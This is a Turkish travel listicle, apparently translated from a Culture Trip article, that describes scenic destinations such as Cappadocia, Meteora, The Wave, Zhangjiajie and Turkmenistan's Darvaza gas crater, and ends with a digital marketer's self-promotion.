    İç Anadolu’da yer alan Kapadokya, herhangi bir ziyaretçiyi büyüleyecek ‘peri bacaları’ kaya oluşumlarıyla dolu, Türkiye’nin mükemmel bir destinasyondur . Bölge, bazıları dokuzuncu yüzyıldan kalma fresklere sahip 30 kayaya oyulmuş kilise ve şapelin sergilendiği Göreme Açık Hava Müzesi ile inanılmaz bir tarihi öneme sahiptir. Kapadokya, bölgeyi oldukça özel bir noktadan görmek için sıcak hava balonu gezileri sunmasıyla da ün kazanmıştır.

    Hallerbos, Belçika (Bluebell Ormanı)

    görülmesi gereken
    Mutlaka Görülmesi Gereken 15 Yer

    Tarihler hava durumuna göre değişse de, herkesin en sevdiği bluebell ormanı her yıl ilkbaharda birkaç haftalığına canlanır. Normalde ziyaretçiler, yerli halkın mor çiçekli halıyı tüm görkemiyle yakalamak için tripodlarla dolup taştığı Nisan ayının son iki haftasında ormanın en canlı halini görmeyi bekleyebilirler. Dahası, Brüksel’den Hallerbos’a arabayla sadece 30 dakika uzaklıktadır, bu nedenle oldukça uygun bir büyülü yer.

    Aziz Basil Katedrali, Rusya

    görülmesi gereken
    Mutlaka Görülmesi Gereken 15 Yer

    Rusya’nın kendi Magic Kingdom’ı, Moskova’nın Kızıl Meydanı’ndaki Aziz Basil Katedrali’ne girdiğinizde Sindirella tarafından karşılanmayı neredeyse beklersiniz. Muhtemelen şehrin bir numaralı turistik noktası ve bunun iyi bir nedeni var; Bu olağanüstü güzel binanın 16. yüzyılın ortalarından beri ayakta olduğuna inanmak hala zor. St Basil’s, Rusya’daki diğer hiçbir binaya benzemez ve kesinlikle hayranlık uyandıran bir yapıdır.

    Meteora, Yunanistan

    görülmesi gereken
    Mutlaka Görülmesi Gereken 15 Yer

    Antik kaya oluşumları üzerinde ve içinde yer alan geniş bir manastır kompleksine ev sahipliği yapan Meteora, şüphesiz Yunanistan’ın en göz alıcı yerlerinden biridir. Aslen 14. ve 19. yüzyıllar arasında yerleşmiş olan bu Doğu Ortodoks dini bölgesinin bir parçasını oluşturan 24 manastır, bugün altısı kaldı. Meteora, Yunanistan’ın en önemli dini bölgesi olarak yalnızca Athos Dağı’ndan sonra ikinci sıradadır.

    Büyük Prizmatik Bahar, Wyoming, ABD

    görülmesi gereken

    ABD’deki en büyük ve dünyanın en büyük üçüncü kaplıcası olan Grand Prismatic Spring oldukça önemli. Uzaktan devasa dilimlenmiş bir kristal gibi görünen bu jeotermal kaynak , Wyoming’deki Yellowstone Ulusal Parkı’nda yer almaktadır . Canlı renkler, kaynağın mineral bakımından zengin suyunun biyofilmindeki pigmentli arkelerin bir sonucudur.

    Dalga, Arizona, ABD

    görülmesi gereken

    Kuzey Arizona, şanslı fotoğrafçılara ve doğa yürüyüşçülerine, eğer yapabilirlerse keşfedebilecekleri mükemmel bir konu sağlayan bu harika kaya oluşumuna ev sahipliği yapıyor. Ulaşılması zor olmasının yanı sıra (en yakın patikadan üç mil yürüyüş), potansiyel ziyaretçilere günde sadece 20 izin verilir. Bu izinlerden on tanesi, bir kişinin ziyaret etmeyi umduğu tarihten dört ay önce çevrimiçi bir piyango aracılığıyla sunulur. Diğer 10 kişi, Utah, Kanab’daki yakındaki Grand Staircase-Escalante Ulusal Anıt Ziyaretçi Merkezi’nde bir kişinin planladığı ziyaretten bir gün önce başka bir piyango ile sunuluyor. Temelde bir ömür boyu bir varış noktası.

    Antilop Kanyonu, Arizona, ABD

    görülmesi gereken

    The Wave’den sadece yaklaşık 50 mil (80 kilometre) uzaklıkta bulunan Antelope Canyon, Navajo topraklarında Kuzey Arizona’da bulunan bir yarık kanyondur. Deneyimli fotoğrafçılar arasında popüler olan Antelope, iki ayrı slot kanyon bölümü içerir. Bölgeye erişim, yalnızca Navajo Nation tarafından izin verilen organize turlarla sağlanır, ancak birine katılmak için para harcamaya değer.

    Paro Taktsang (Tiger’s Nest Manastırı), Bhutan

    görülmesi gereken

    Taktsang Palphug Manastırı ve Kaplan Yuvası Manastırı olarak da bilinen Paro Taktsang, Bhutan’ın Paro Vadisi’ndeki bir uçurumun kenarında yer alan bir Budist tapınağıdır. Aslen 17. yüzyılın sonlarında inşa edilen manastır, 1998’deki bir yangında neredeyse tamamen yok edildi. Bhutan hükümeti tarafından finanse edilen restorasyonu 2005 yılında tamamlandı. Uzak bir konumda yer alan ziyaretçilerin alana ulaşmak için en yakın otoparktan iki ila üç saat yürümeleri gerekiyor.

    Zhangjiajie Ulusal Orman Parkı, Hunan Eyaleti, Çin

    görülmesi gereken

    İlk düşünceniz Avatar (2009) ise, yanınızdayız. Zhangjiajie , 1980’lerde tanındıktan sonra Çin’deki ilk resmi milli park. Sütun benzeri kaya oluşumları ve bol bitki örtüsü ile ünlü olan park, birçok eski Çin resminde yer almıştır. Wulingyuan Manzara Bölgesi’ndeki Kuzey Hunan Eyaleti içinde yer almaktadır. Kaya oluşumları aslında Avatar’daki dağ ortamı için ilham kaynağı olarak kullanıldı , bu da parkın ana sütunlarından biri olan Güney Gökyüzü Sütunu’nun 2010 yılında Avatar Hallelujah Dağı olarak yeniden adlandırılmasına yol açtı.

    Leshan Dev Buda, Sichuan Eyaleti, Çin

    görülmesi gereken

    Leshan Dev Buda heykeli, Sichuan Eyaletinin güneyindeki Leshan yakınlarında bulunan, insan yapımının inanılmaz bir başarısıdır. 713’te görevlendirilen projeyi tamamlamak 90 yıl ve binlerce işçi aldı ve bu, onu o zamanlar dünyanın en büyük taş oyma Buda’sı haline getirdi – bugün hala sahip olduğu bir rekor. Kırılgan ve karmaşık olan heykel, UNESCO uzmanlarının gözetiminde sürekli bakım çalışması konusudur. İlginç bir şekilde, Buda’nın saçında 1000’den fazla topuz var. İnanmak için görmek gerekir.

    Mermer Mağaralar, Patagonya

    görülmesi gereken

    Buenos Aires Gölü olarak da bilinen General Carrera Gölü, bir dizi dramatik jeolojik oluşuma ev sahipliği yapıyor. Mermer Katedral ve Mermer Şapel’den oluşan Mermer Mağaralar, Şili-Arjantin sınırındaki Patagonya’da bulunan bu buzul gölünün merkezinde yer almaktadır. Mermer Mağaralara bariz nedenlerle sadece tekneyle erişilebilir ve yerel bir tur şirketi ziyaretçiler için 30 dakikalık bir tur düzenler. 6.000 yıldan fazla bir süredir kalsiyum karbonata karşı yıkanan dalgaların sonucu, mağara duvarlarındaki yansıtıcı mavi girdaplar bunu görülmeye değer hale getiriyor.

    Cehennem Kapısı, Türkmenistan

    görülmesi gereken

    Darvaza Krateri’nin uğursuz ama yaygın olarak bilinen adı Cehennem Kapısı, 1971 yılında bir doğal gaz sahasının bir yeraltı mağarasına çökmesi sonucu oluşan bir kraterdir. Amerikan futbolu sahası görüntüsü. Türkmenistan’da nispeten popüler bir turistik yer olan krater, Karakum Çölü’ndeki Darvaza köyünün yakınında bulunuyor. Aslında ateşe verildikten sonraki birkaç hafta içinde sönmesi bekleniyordu, ancak bu güne kadar ateş püskürmeye devam ediyor.

    Kaynak: https://theculturetrip.com/north-america/articles/the-16-most-surreal-destinations-on-earth/


    Zaman zaman dijital pazarlama konusunda bir dijital pazarlama uzmanı olarak vereceğim bilgileri takip etmek için mehmetortac.com adresini ve Twitter hesabımı takip etmeyi unutmayın!